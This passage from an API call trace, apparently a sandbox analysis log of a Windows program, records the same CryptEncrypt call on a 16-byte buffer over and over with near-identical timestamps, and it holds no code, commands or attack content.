pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.133] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.133] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.133] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.133] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.133] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.133] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.133] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.133] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.133] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.133] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.133] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.133] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.133] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.133] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.133] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.133] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.134] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.134] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.134] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.134] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.134] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.134] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.134] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.134] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.134] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.134] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.134] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.134] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.134] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.134] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.134] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.134] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.134] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.134] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.134] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.134] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.134] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.134] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.134] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.134] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.134] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.134] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.134] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.134] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.135] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.135] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.135] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.135] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.135] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.135] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.135] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.135] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.135] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.135] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.135] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.135] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.135] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.135] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.135] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.135] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.135] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.135] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.135] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.135] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.135] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.135] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.135] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.135] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.135] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.135] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.135] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.136] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.136] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.136] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.136] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.136] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.136] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.136] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.136] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.136] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.136] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.136] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.136] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.136] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.136] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.136] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.136] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.136] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.136] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.136] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.136] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.136] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.136] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.136] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.136] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.136] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.136] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.136] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.136] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.137] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.137] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.137] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.137] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.137] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.137] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.137] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.137] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, 